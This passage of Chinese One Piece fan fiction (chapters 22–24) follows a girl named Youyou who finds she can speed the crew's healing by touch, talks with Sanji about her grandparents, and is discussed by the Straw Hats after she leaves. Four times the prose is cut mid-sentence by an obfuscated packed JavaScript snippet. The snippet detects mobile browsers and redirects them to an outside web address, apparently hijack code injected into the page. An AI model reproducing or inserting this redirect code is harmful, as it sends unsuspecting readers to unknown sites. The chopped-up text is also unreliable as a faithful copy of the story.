有有倒在地板上撒泼打滚,飞舞的脚咣当撞到了床脚。 “有有,没事吧?”几乎是声音发出的下一秒,门外就传来了敲门声。 “没事!”有有捂着自己的脚,眼睛里的泪水快彪出来,却也不忘朝着娜美喊话。 “有事一定要喊我啊!” 疼疼疼!太疼了。 脚趾撞到桌边、床边的疼痛感自然不必多言。简直可以用撕心裂肺来形容。 “「不是吧!这么疼的事情居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16049612|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不给我挡一下吗!」” “「简直就是智障啊!」” 可不要小瞧这种疼痛感啊!严重起来也是会死人的!有有恨恨地揉着自己的脚,但几乎没过多长时间,脚上的疼痛感就慢慢消退了。 等会儿…… 有有忽然灵光一闪。 智障…… 那句话怎么骂的来着…… 这房间的判定很智障…… 有有立马爬起,手脚并用爬到了书桌边。 莫名其妙恢复的木仓(子弹被没收版)和修女服被摆到了一起,有有目光锐利地在两个东西上来回巡视。不知沉思了多久,有有又爬到桌子上,把那个坏掉的十字架喷雾拿到了手里。 十字架喷雾的喷头处被索隆的刀碰到过,即使是刀背,但是喷头的功能也被损毁了一些,起码在刚拿到时,是无法正常作用的。但是此刻,被损坏的喷头以肉眼可见的速度修复了起来。 有有:“……” 智障,这是真智障。 猜想被认证,比起开心,有有更多的却是感到无语。 这到底是什么品种的智障AI啊! 就像刚才所说的,控制变量法已经深入骨髓。 在这个房间内不属于自己的东西有三个,十字架、木仓和修女服,但不属于自己却被修复了的东西却只有有两个,木仓和这个修女服。 那有什么是后两者有的,前者却没有的? 再加上排除了时间的影响。 真相只有一个! ——身体接触! 十字架在进门时就因为要换衣服被脱了下来,后来趴在桌上时,接触的也只有木仓,包括刚刚把修女服挂在衣篓边就没动静,把衣服拎起来就开始恢复。 那么这个解释就能行得通了。 和不属于自己的东西接触后,被判定成了自己身体的一部分,所以修复功能就能照常进行。 有有:) 解释得通,但是有毛病。 如此抽象的判定方式居然能行得通,这个世界果然是个巨大的草台班子。 但是一想到海贼世界的智力水平,一切都合理了呢。 虽然所属权不被认为是自己的,但是没关系,只要手拿着,那这玩意就是自己身体的一部分! 你懂什么叫人物合一。 总而言之,这个世界的平衡被勉力维护着。虽然维护的方式有点抽象。不能直接剧透剧情但是能间接掺和,要遵守法律道德不能抢别人的东西,但是往手上一攥就能卡住bug。 说智障都在高估它的智力。 有有无语良久,最终释然。 “「算了,太聪明的话反而不太好做小动作。笨笨的房间才好忽悠嘛。」”女孩坐在房间里,脸上的笑容格外温柔,甚至温柔到有些渗人,“「既然如此,那我这只小蝴蝶,就要毫不留情地扇动翅膀啦。管你刮得是不是龙卷风,能把剧情吹向我想要的地方的,就是好风。」” “「不过,有个点还要验证一下。」”有有喃喃自语道,利落地从地上爬起,偷偷摸摸地打开了房间门。 22.夜 本以为还有人的操舵室只有一盏昏黄的灯光,有有诧异地看着还蹲在冰箱前的身影。 黑色的西装随意地搭在板凳上,柔顺的金发若有似无地搭在蓝色的衬衫上,就像海面上的太阳。袖口被挽至手肘处,露出精瘦的手臂。就连蹲下时略微弓起的背和大腿都充斥着力与美。 “哇哦。”眼皮子浅的有有情不自禁发出了感慨,如果不是还残存着几分理智,悠长的口哨声就要脱口而出。 “有有小姐?”被身后怪异的声音吸引,山治把目光从冰箱移到女孩身上,“还不睡吗?” 不发花痴的时候,山治的声音有着不同于索隆的成熟感,或许是因为经常抽烟的缘故,还带着一丝慵懒的性感。 七八个月的差距有这么明显吗? 有有在板凳上坐下,撑着脑袋看向还在忙碌的厨师先生:“睡不着~” “你在干什么呀?” 山治拍了拍手上的冰屑:“整理食材哟,有有小姐饿了吗?做份宵夜怎么样?” “不饿啦。”有有晃荡着小腿,脸上笑眯眯的:“倒是山治,你饿吗?我也会做宵夜哟~” “有有小姐是打算抢我厨师的身份吗?”山治合上冰箱的门,还不忘把大型捕兽夹布置好,才转头调侃道。 “怎么会啦!”有有煞有其事地摆手,“你是不可替代的。” 不可替代? 昏黄的灯光中,山治的手微不可察的一顿。 这个词似乎和自己完全扯不上关系,不如说是完全两个极端。 但是—— 身型单薄的女孩在暖黄的光下显得格外温暖,眼中毫不闪躲的光芒几乎要把人灼伤。几乎是下意识的,山治又变成了那副花痴的模样:“有有小姐才是最不可替代的那个~” “诶——”有有挑眉,拖长了语调,“是嘛,但是又不……” “那个词怎么说来着?重突、冲图?”忽然忘记的发音让有有犯了个大难。 山治噗嗤一笑,含笑着纠正有有的发音:“是冲突吧?” “没错!就是这个!”有有比了个大拇指,只不过是说了一个单词而已,却好像是做了什么了不得的大事。 “我的不可替代,和山治的不可替代,完全不冲突呀。” “山治这么晚还在忙活,真的很厉害啊,我虽然会做饭,但是很懒来着。”有有皱了皱鼻子,“因为吃外卖太多还被骂了。” “什么人敢骂有有小姐!” “哈哈哈,朋友啦。但是也是为我好嘛。所以看到路飞有你之后,我超级羡慕的!” “而且,你做饭!超好吃啊!” 像是回忆起了这几天吃到的饭,有有的眼睛里都冒着光:“回去的那段时间,因为害怕吃不到山治做的饭还差点哭了呢!” 糟糕。 “咚、咚、咚。” 心跳声是不是太大了?会被听到吗?山治有些后知后觉得察觉到了自己心跳的异常。 “有有小姐想吃什么,都可以告诉我的。”山治听到自己这样说到。 “真的吗!”几乎是瞬间,有有的眼睛一下子亮了起来,但是随即不好意思地笑了起来:“有点不好意思,总感觉太麻烦你了。” “完全不会,做饭是我的职责。”说到料理,山治才透露出一点特有的少年气,“难道有有小姐觉得我做不好吗?” “好烂的激将法。”有有皱着鼻子嫌弃道,“但是我们那边的菜和你完全不一样哦。” “那不是正好?我能学习到新的菜系,有有小姐能吃到想吃的菜。”山治循循善诱,小心思简直跃然纸上。 “好吧好吧。”有有无奈一笑,“那下次的伴手礼,就给山治带菜谱吧。” 下次…… 山治忽然有些愣住:“有有小姐,又要回去了吗?” “大概吧。”说起这个,女孩似乎也有些烦恼,不顾形象得趴在了桌子上,丧气话一句接一句,“不想回去啊,回去超无聊的。” 回想起刚刚说过的话,山治垂眸,轻声询问道:“有有小姐,家里人……” 话没有说完,但是有有很轻松的听懂了。 “没有哦。”语气轻快,像是在谈论明天的天气很好一样。 “……对不起。” “没事啦没事啦。”有有摆了摆手,“怎么说呢,我家其实有点复杂。” “爸爸妈妈分开了,然后各自结婚了,现在都有新小孩啦。我是和爷爷奶奶长大的,但是他们已经去世了,所以我才说没有家人啦。” 三两句讲完了十八年。其中的跌宕起伏只有自己知道。或许是夜晚太过适合讲述秘密,即使知道身为一个绅士,此刻最该做的是不动声色的安慰之后转移话题。 不知道想到了什么,山治开口道:“有有小姐,你难过吗?” 微弱的光却划出了一道显眼的明暗交界线,山治静静靠在墙上,一半被微光照亮,一半却在黑暗中挣扎。 你是想听到什么答案呢?难过,还是不难过?想要找到同样难过的同类依偎取暖?还是要从不难过的人身上找到所谓的正确答案? 逼着女生去想起往事,这就是你的骑士道吗? “没什么,有有小姐,你就当……” “你问哪个时候呢?”有有像是完全没发现山治的欲言又止,反而脸上布满了纠结。 “什么?”山治像是没听清楚一般,愣愣的反问道。 “啊,就是说,分时候啦。”有有枕在了自己手臂上,似乎还有些不好意思,“小时候很难过很难过。” “尤其是看见别的小孩都有爸爸妈妈的时候,我会哭得超级厉害。又一次还看见爸爸带着他的儿子,简直哭得要死掉了。” “那……” “但是长大了就不怎么难过啦。”女孩露出了一个特别灿烂的笑容,“因为长大之后就发现了一件事。” “发现了什么?”山治晃了晃身子,似乎要往光里去。 “发现了每次难过的时候,爷爷奶奶其实都有在帮我擦眼泪。只不过当时只顾着看爸爸妈妈了。” “虽然在他们眼里,他们新的小孩才是最好的,但是在爷爷奶奶眼里,我也是不可替代的。” “总会有一些人是在爱我的,所以感觉如果记住太多我讨厌的人的,那么我爱的人就没地方放了。” “虽然爷爷奶奶已经去世了。”有有点了点自己的脑袋,“但是记忆一直在这里。” “我们那边有一句是这样说的:真正的死亡是遗忘。” “所以我觉得只要我活着,我的爷爷奶奶就还活着哦。” “说不准,在你不知道的时候,我的爷爷奶奶已经和你打过招呼了哦。”灯光下的女孩笑得狡黠。 山治沉默良久,幽幽开口道:“你这样是吓不倒我的,有有小姐。” “切。”有有轻轻翻了个白眼,“倒是对我的爷爷奶奶尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16053737|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重点呀!” “我尽量?” “没诚意。” “对不起?” “好敷衍——” “无理取闹的有有小姐也好可爱~~~” “别以为你撒娇我就不知道你再说我无理取闹啊混蛋!!” 被三两句话就激得炸毛的女孩张牙舞爪得骂着人,山治擦了擦眼角笑出的眼泪,走到了女孩身边。 板凳上摊着的西服被山治拿起,温柔地披到了女孩的身上。柔和的灯光照亮了这一小片天地。 “所以有有小姐这么晚出来,是有什么事情吗?” “啊!”有有一拍脑袋,“忘记正事了。” “都怪你啊!”有有毫不留情地把锅甩到了身边人的身上。 “……怪我什么?” “嗯?”有有语调上扬,透露着满满的危险。 “好吧,都是我的错。”嗅到危险气息的山治匆忙认错,“所以有有小姐是想要干嘛?” “啊,我想找索隆来着的。”有有耷拉着一张脸,“但是他现在大概是睡觉了吧。” 索隆?那个白痴绿藻头?找他干什么? 山治忍住想要诋毁某人的心思,不动神色地打听道:“找那个白……找索隆有什么事情吗?” “想问问他今天和那群人打架受的伤有没有好点来着。”有有满脸可惜,“想找他去房间里做个实验。” 去房间?做实验? 不行,绝对不能让那个绿藻头去有有小姐房间! 山治面色扭曲。他都还没有和有有小姐在她的单独呆过! “我不行吗?”山治扭动着身子,殷勤道,“那个白痴绝对没有我配合,实验我也可以陪有有小姐的哦~” “诶?你也受伤了吗?”有有震惊地看着山治,上下打量着眼前的人,“你不是没打架吗?” 一直都沉醉在有小姐姐的梦乡里来着。 “为了有有小姐~我也可以受伤的哟~要什么样的伤呢?流血的还是不流血的?手上的还是腿上的?” 有有:……这一副点菜似的口吻要闹哪样。 “……你是白痴吗?”有有沉默,叹为观止地看向了山治,“哪有主动上赶着受伤的。” “诶?可是有有小姐不是需要吗?而且小伤的话很快就好了啊。” “啊,你们的愈合能力确实是有点毛病。”这也是为什么有有决定现在出来找索隆,玩意他睡一觉伤就好了,她上哪做实验去。 “但是,再怎么小的伤,那也是伤吧。”有有略有些嫌弃地推开山治,“如果是战斗中不可避免的伤就算了,但是莫名其妙受伤完全就是笨蛋才会做的事情。” “比路飞还要笨的那种笨蛋。” 这个对比实在太有杀伤力,山治一秒止住了话头。 “因为,即使是路飞那样的笨蛋,也不会想看见自己的伙伴受伤吧。”有有生怕自己的举例不够有说服力,还追加了论证。 确……确实。 山治诡异的有些被说服,毕竟比路飞还笨,实在是太恐怖了。 有有满意地看着山治逐渐扭曲的脸色,拍了拍男人的肩膀:“所以说,要加油啊!不要变成笨蛋。” “我绝对不要变成笨蛋!”山治背后莫名燃起了火焰,有有惊奇地鼓起了掌。 “好棒好棒。” 这不完全就是个笨蛋了嘛。 “那,我去找索隆了哦。” 23.伙伴 “所以,你大半夜不睡觉把我从瞭望塔喊下来就是为了陪你做这个无聊的实验?” 索隆打着哈欠,像是坐在自己家一样闲散地坐在地毯上,丝毫不管旁边山治眼中的熊熊怒火。 “你让这个白痴厨子陪你做不就好了?” “他又没受伤!”有有义正严辞道,“你真的是太不关爱同伴了!” 索隆:……这真是天降一口大锅。 “但是,我现在伤都快好了。”索隆看看左手,又看看右手,再摸摸额头,“说到底那群家伙顶多给我造成点皮外伤。” 有有:……她就知道,要是等到明天肯定就完全好了了。真的是丧失常理的愈合能力。 “快好了就说明还没好吧,试一下吧!”有有双手合十,无师自通了跪坐的姿势,还不停得摆着双手,“拜托拜托!” 索隆:…… 山治怒气飙升:“你这家伙倒是给我心怀感激得配合有有小姐啊!” 索隆不屑地轻嗤一声,却也没反驳:“要怎么做?” “你哪里的伤还没好啊?” “嗯……” 这似乎真的是个很难的问题,索隆双手环抱,皱着眉头颇有些苦恼。 真是服了这些海贼,感觉成为海贼就脱离人类范畴,变成另一个物种了。 “大概,背上还有一点吧。”索隆抻了抻胳膊,背部肌肉还有一些些疼痛感,但如果不是这样仔仔细细地感受,索隆几乎都要忽略过去了,“可能还有点淤青。” 以索隆的恢复能力,现在还有淤青的话,那下午得伤成什么样啊。 “那他们不还是有很厉害的人嘛,不要小瞧敌人啊!”有有有些忍不住碎碎念道。 “不,这是路飞打的。” 有有:啊这…… 山治的目光哀怨地看了过来:“有有小姐~”说好的路飞也不会想看见伙伴受伤呢?伙伴的伤甚至是路飞干的啊! 有有心虚地移开了视线:“你真的要和笨蛋比嘛?” 山治:“……那还是不必了。” 索隆轻啧一声:“所以说到底要怎么做?” “啊。”有有目光飘忽一瞬,“把衣服脱了吧。” 索隆:“?” 山治:“?” “你这家伙到底在说什么啊?”索隆皱着眉头看向女孩,略有些不自在。 事实上,平时在甲板锻炼时,索隆经常赤裸着上身,旁边人来人往也不觉得不自在。但是此刻在女孩子的房间,又是有有主动提出的要求。 神经大条的他也难免觉得有些不合适。 “有有小姐~这个绿藻头到底有什么好!”山治不知从哪拿出了个手帕咬住,眼泪都快流出来了。 ……这一副被抛弃的样子是要闹哪样? 有有没好气道:“看伤!我要看伤!我总要看看伤口是不是真的愈合了吧!” “谁让他的伤长在背上!” 山治:“啊,那没事了。” 理由非常正经,索隆沉默一瞬,利落地反手脱下了白色的T恤。 健壮的古铜色身躯上布满了大大小小的疤,有深有浅,是在动画中不曾画出的伤痕,而最明显的还是有鹰眼砍下的,几乎贯穿整个胸膛的刀疤。 身为赏金猎人,身上的疤又岂会只有加入海贼团之后才出现的那些。没有画出来并不代表不存在。 何况,在后期,整个草帽团里,索隆的身上的疤几乎也是最多的。 “怎么了?吓到了?”索隆顺着有有的视线看向自己身上的那条疤痕,浅浅勾唇,笑得居然还有些痞气。 “没有。”有有撇过头,反手摸索着什么。 “你要是敢把那个破相机拿出来,信不信我立马走人。” 有有停下了摸索的手,脸上浮现出满满的遗憾:“啧。” 好可惜。 没别的,纯欣赏。 “有有小姐想拍你是你的荣幸!” “就是就是!” “你太不好歹了!” “没错没错!” “有有小姐~我来脱吧~想怎么拍都可以哦~” “好……啊呸!你是变态吗!” 索隆骂骂咧咧:“到底试不试!不试我走了!” 试试试!当然要试! 有有正襟危坐:“那你转过身去,我要看着你的伤!” 索隆不情不愿地转过身:“到底怎么做实验啊?” 索隆背上的淤青远不止他自己说的一点,虽然大片青色在古铜色的皮肤上不太显眼,但是也可以看得出路飞那是完全没有留手。 听闻索隆的话,有有震惊:“诶?我没说吗!” 说个屁啊,从进来到现在不是和那个白痴厨子拌嘴就是没个正形。 “总而言之,大概就是和我接触之后,看你身上的伤能不能加快愈合。” 接触? 索隆震惊转头:“你没说错……”词吗… 话还没说完,就被山治的哀嚎掩盖:“这没听你说过啊有有小姐!果然还是我来给自己一刀吧!” “这家伙怎么配!” 啊啊啊!有有捂住了差点被震聋的耳朵,没好气地推开山治越凑越近的头。 “揍你哦!” “啊啊啊,有有小姐学坏了~都怪这个绿藻头。” 索隆:……所以到底关我什么事? 不理会鬼哭狼嚎的山治,有有满脸坏笑地抬起手凑近了索隆。 索隆警铃大作,条件反射想要格挡,可视线中一晃而过的白皙手腕不禁让他想起了失落之岛那次的淤青。 动作稍顿。 然后就被有有得了手。 “哈哈哈哈哈!”山治发出爆笑声,悲伤一扫而空,“有有小姐,相机在哪,我一定要拍下来!” 索隆咬牙切齿:“杀了你啊!” “在床边上!”有有欢快道,丝毫没有理会索隆的意思,“快点快点!” “……真的会杀了你们的。” “但是你的头现在在我手里诶。”有有一脸无辜,手上毫不留情地蹂躏着索隆的头发。 绿藻头完全没有想象中扎人,反而十分柔软,就像是在撸猫猫狗狗一样,毛绒感从指尖划过,有有兴奋地差点忘记了自己的目的。 被骗了,绝对是被骗了。 索隆紧闭着眼睛,不愿意面对现实。 说什么做实验,其实就是这两个人合起伙来嘲笑他吧! 他绝对要把这个厨子丢进海里,让他游回他的餐厅! “赶紧给我放开!”索隆一把抓住在自己头上作乱的手,语气里充满危险,“不然……” “呀!”背后的女孩忽然惊喜地叫出了声。 “山治山治!” 一双亮晶晶地眼睛望向了山治,眼睛里是不加掩饰的欣喜。 “快看!他的淤青是不是淡了很多!” 山治举着相机凑近了过去,语气哑然:“真的啊,小了很多。” 原本右侧肩胛骨下方布满了的淤青以肉眼可见的速度在消退,看样子似乎立马就会复原。 “别骗人了。”索隆说着就要反手把有有拉开,还想把山治踹开,“你们两个混蛋。” “是真的哟!”有有顺着索隆的力道往前,一只手撑在了索隆的肩膀上,从背后探出了个脑袋,“是真的真的哟!” 索隆:“……” 还没等索隆回答,有有迫不及待地戳上了原本是淤青的地方,“怎么样!还痛不?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16059107|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全不同的触感从背上传来,略有些冰凉的手指冰得索隆一个激灵,浑身冒起了鸡皮疙瘩。 山治一个闪现挪开了有有的手,自己则微笑着朝着还淤青的地方按了下去:“有有小姐你太温柔了,让我来!” “我今天一定要杀了你!” 房间里又乒乒乓乓了起来,但顾及着房间里空间不大,索隆没有拔出他的刀,山治也没有开始托马斯全旋。 “嘿嘿。”看着他们拆家的架势,有有也没有说什么,只是坐在原地傻笑。 “有有小姐?” 女孩突然倒在了地毯上,整个人开始翻滚,还伴随着时不时的怪笑声。 “你终于傻了?”索隆拿着刀,戳了戳地上的一滩人。 有有呈大字型躺在地上,笑得眼睛都眯起来了:“我好开心呀!” “开心什么?” “我终于可以帮上你们啦!” 欢快的话闯入耳朵,索隆和山治愣了愣,同时看向了地上的女孩。 不知道是不是错觉,女孩的大眼睛里似乎还泛着水光。 山治蹲下身子,含笑地望着有有,刚想开口说话,却见一片阴影从上到下。 一床毯子噗呲一下盖到了有有脸上,有有手舞足蹈地挣扎着想要解救自己,却听见了索隆的声音。 “没见过你这么笨的。” 有有:? 被子一掀,却看见索隆拽着山治往门外走,丝毫没觉得自己的行为有什么不对。 有有:“你又骂我!” 索隆轻嗤一声:“熬夜长不高,赶紧睡觉吧。” “你这家伙对有有小姐说什么呢!” 山治打得好!揍死他! 女孩在房间内张牙舞爪地给山治点了个赞。 —— 这次的分开并没有太多不安,也只有一点点不舍。 即使知道分别的时间临近,有有也没有表现出难过,反而是在船舱里跟着路飞上蹿下跳,甚至还和乌索普钓上来的鱼打招呼。 “那孩子,真的没问题吗?”微微站在娜美旁边,有些担心地看着有有,“是不是兴奋过头了?” “嘛……随她疯吧。”娜美无奈一笑,“等她回去之后就没办法这么疯了。” “回去?”微微望了望一望无际的海面,“回哪?” “那孩子是果实能力者。”娜美解释说,这也是一早就定好的说辞,毕竟异世界什么的,越少人知道越好,“她的房间连通着这艘船和她家,等到明天,她就会通过房间回家。” “这种果实能力者真的是太少见了。”伊卡莱姆一边开嗓一边说。 “恶魔果实那么多,这样子的也有可能。”娜美撑着脑袋,“只要这孩子平安就可以了。” “娜美娜美!”有有站在甲板上,朝着娜美挥手。 “怎么啦?” “有蜡烛吗?想和乌索普玩蜡烛!”有有露出了一个颇为无辜的笑,也如她所料的,这话完全不是禁忌。 判定就是智障啦。 “蜡烛有什么好玩的。”娜美无奈扶额,但也还是给有有指了个位置。 嘿嘿,虽然乌索普最终还是想到了用火去融化蜡烛的想法,但是提前想到的话,娜美他们也能少受点伤嘛。 “乌索普来比赛!啊跑得快赶快把蜡烛吐出来!” “确定要和我乌索普船长比嘛,我可是天才啊天才!” “什么什么!看着好好玩,有有我也要玩!” 是风平浪静还是风雨欲来? 微微面带愁容,却不忍心打扰这样美好的气氛,勉强笑着离开。 娜美看向旁边打算跟上去的伊卡莱姆:“告诉微微别担心。” “他们是一群非常靠谱的伙伴。” 24.过度担心 只从房间内部看,几乎完全看不出自己现在到底在哪个世界。 但从刻意开着的门可以看到,在十二点的瞬间,门外就开始变得扭曲,连带着因为不放心而等在操舵室坐着的山治也在视线里变得格外奇怪,但也隐隐约约能看见不安分的路飞被娜美一把子拽了回去,再慢一步就要闯到扭曲的范围内。 整个景色被扭曲成了一片漆黑,中间还闪着银色的光。 黑洞。 状似黑洞的景色只在视野中闪现了一秒,随后门外就变成了熟悉的客厅。 有一种……非常想把这个穿梭时空的事情变得合理的无力感。 不理解,但尊重。 有有撇嘴,默默倒回了床上。 —— 梅利号上依旧是看似和平的一天,大清早,新闻鸟挎着个篮子就飞到了梅利号上方。 娜美一反常态地掏出了两份报纸的钱,甚至还多买了一份悬赏令。 “买那么多干嘛?”索隆不解,这艘船上愿意看报纸的人没几个,船长更是把报纸当作催眠的用,一份报纸就足够来回传阅了,更别说这是一伙只对自己的悬赏令感兴趣的家伙了。 “给有有买的。”娜美把其中一份报纸和悬赏令收拾好,专门找地方放了起来,“昨天特意嘱咐我让我给她也订一份,说她要拿来学语言。” “那悬赏令呢?” “大概是收藏吧。”娜美想起初次见面时,有有房间贴着的路飞的悬赏令忍不住失笑。 “奇怪的家伙。”索隆打了个哈欠,昨晚上全部都跑到操舵室去送有有,晚上又要守夜,现在眼睛都要睁不开了,“总该做一些奇怪的事情。” “不过真的很神奇啊。”微微也站到了旁边,想起昨晚上看见的神奇景象和毫无痕迹的墙面,“真的就是一转眼就不见了呢。下一次见面要到什么时候呢?” “五天后。” —— 动漫里的时间线并不明确,草帽团在海上的镜头并不算多,几乎上一秒都还在海上,下一秒就到了小花园,能确定的不过是草帽团在小花园待了一天不到,然后从娜美中了病毒再到磁鼓岛,之后再到阿拉巴斯坦。 从动漫的集数上来看,这一路能从70集播到130集,但是真正从时间线的角度来说,整个旅程应该不超过一周。 因为阿拉巴斯坦的内乱没办法等太久。 有有打开手机,相册里是特意拍下的几张报纸的照片。 说实话,这报纸上的字就像是鬼画符一样,乍一看都分不清到底是日语还是英文。 放到现在,别说能出报纸了,考个试卷面分都能被扣完的类型。 也不是不能理解路飞不愿意看报纸的心理。 有有叹了口气,拿出了写英语阅读理解的劲头开始钻研报纸。 一整张的大报纸,可用的消息几乎没有太多,关于阿拉巴斯坦的内乱提到的几乎都是对国王的控诉,再有就是国民一直在表达对克洛克达尔驻守在沙漠并帮助他们的感谢。 讽刺。 就像是买了水军一样,舆论一边倒。群众所能看见的真相永远是幕后黑手愿意让人所看见的。 虽然你之后表现还不错,但是这次我一定要找机会偷偷泼你水! 有有的指尖在沙鳄脸上恶狠狠的戳了戳。 报纸的反面熟悉的海贼旗骤然吸引了有有的注意力。 新月一样的白色胡子。 啊,对啊,一旦进入了阿拉巴斯坦,就会遇见他了。 有有转头看向了墙上。 那面白墙几乎贴满了所有人的悬赏令,但是路飞他们能看见的也不过只有路飞那张3000万贝利的悬赏。 回到了现实,墙面中间的那张才显露了出来。 少年橘色的牛仔帽上一哭一笑两张脸显得格外不羁,帽檐上的串珠又增添了一丝活力,一只眼隐藏在帽檐下,另一只眼闪着锐利的光,可脸上的小雀斑又中和了那份凌厉的光。 “PORTGAS·D·ACE 550,000,000–” —— “我说,这一切该不会都被有有预料到了吧?”乌索普躺在甲板上,堪堪从和东利、布洛基告别的悲伤中缓过来,忽然惊醒到。 “在看见那个奇怪蜡烛人之后,我就想起来有有之前硬要拉我玩的事情了。”乌索普偏头,看向在甲板上横七竖八的一群人,“说什么比一比谁能在蜡烛烧完之前把画一幅画。” “结果在我画的时候直接在我的蜡烛边上架了堆木头烧蜡烛,害得我没画完蜡烛就熄灭了。” “啊,难怪你看见我们被蜡烛困住,第一反应就是开火烧。”索隆噗嗤一笑,“我还以为你有这么聪明呢。” “什么意思啊!但是让跑得快在蜡烛边上洒油可是我的天才想法啊!”乌索普扬起脑袋,相当得意。 索隆:“那不还是多亏了伊卡莱姆把那个炸弹人引开了,不然你哪有机会。” 伊卡莱姆“叭叭”地开着嗓:“这是我应该做的。” 娜美眉梢一扬,“所以,在那个小女孩的颜料上面动手脚,也是有有教你的?” “那是乌索普大人的灵活运用!”乌索普炸毛,“颜料星可是我的发明!” 娜美哈哈一笑:“本来看见路飞被颜料控制之后,我都觉得要完蛋了,结果你这家伙居然掏出了颜料,把那个女孩子画的颜色改了。” 乌索普只是心虚了一瞬间,就理直气壮道:“没错,我真的是太天才了!” “就是路飞先生的红马甲变成了五颜六色的。”微微想起路飞那破破烂烂的衣服就想笑,“也许是新的时尚吧。” “没错没错,有有小姐就是这么棒!”山治几乎要原地起跳为有有摇旗助威。 “白痴。” “?要不是有有小姐,你这可恶的绿藻头不就差点要把自己的腿切了?!” “那我不是没切吗!再说了你这个从头到尾都在消失的人凭什么说我!” “哈?要不是我找到敌人的大本营,捡到了去阿拉巴斯坦的永久指针,我们可就要在小花园待上一整年记录磁力啊!” 眼看着两人又要掐起来,娜美头冒青筋,毫不吝啬地一人给了一拳,“你们都给我闭嘴!” “娜美good job!”路飞捂着肚子看着倒霉的两人哈哈大笑,可没过两秒,路飞忽然躺在了甲板上撅起了个嘴,“啊啊——我想有有了!” 分别不过才一天不到,思念就好像要破土而出,娜美看着天上倏然飘过的云:“我也是。” “话说回来,都怪娜美!”路飞一个翻身坐起,盘坐着木屐抵在了一起,嘴巴都嘟成了“3”,“要不是娜美,我昨天就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16063608|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能和有有一起回家啦!” “那是有有的家!”娜美无语,“而且我们还不确定你能不能过去,万一出事了怎么办!” “那我们也可以让有有留下来呀!”路飞灵光一闪,“只要房间消失的时候,有有不在房间里,她就不会走了吧!” “但是也没尝试过,万一有危险……” “娜美。”索隆忽然开口打断了娜美的话。 “什么?”娜美朝索隆看过去,却对上了一张有些严肃的面庞。 “你是不是有点,太小瞧有有了。” 海浪不停拍打着船体,梅利号摇摇晃晃地在向前进,娜美却觉得耳朵里一阵耳鸣,几乎要划破鼓膜。 “我没有,我只是……” “你只是很担心她。”索隆就像没看见娜美的异样,双手枕在脑后,“我理解,就像你担心可可亚西村的那些村民一样。” “但是……” “但是有有一点也不弱啊。”说这话的是路飞,少年双手拉着小腿,整个人晃来晃去,“虽然她不会打架。” 索隆挑眉,轻笑:“没错,虽然她不会打架。” “但是人的强大不止一种,有有她和我们是不同的。不同的不止你知道的那些。” 这话说的隐晦,但娜美依旧听懂了。 “从她敢自己一个人面对那个人妖果实的人你就该知道,她不会安安分分自己待着。” “虽然不知道她那种奇怪的想要保护我们的心理是从哪来的,但是她本身就是个奇怪的家伙。” “因为她喜欢你,所以你偶尔的保护过度她也能乖乖接受,甚至还能反过来安慰你,但是如果你一直这样,对她对你都不是好事。” 一直以来都窗户纸就这样被毫不留情的捅破,娜美低着脑袋不知道在想什么。 “放松点吧,这艘船上的人,没有弱者。”索隆看向路飞,“是吧,船长!” 路飞扯出了一个大大的微笑,简直比太阳还要耀眼:“当然啦!你们可都是我挑的伙伴啊!” “娜美小姐~要喝下午茶吗?”山治凑到了娜美身边,颇有些担心的看着失神的娜美。 “好啊,拜托你了,山治君。”娜美勉强一笑。 这些事情居然还要索隆来点醒,娜美你真的是越活越回去了啊! 娜美猛然拍了拍自己的脸颊,“好!那下次等有有来的时候就不让她把那个保证书背下来了!” 索隆:“?你居然还想让她背下来吗?” “那当然啦,不背下来怎么能让她记得啊!”娜美说得理直气壮,“要不是路飞不愿意,我最想干的还是让路飞写保证书。” “那家伙到底是有多迁就你啊!”索隆咂舌,“不过保证书没办法牵制路飞吧。” “谁让有有最喜欢我呢?”娜美笑得得意,“没觉得保证书能对路飞起作用,我只是想折磨路飞而已。” 索隆:“……” 路飞(小声):“……恶魔!” 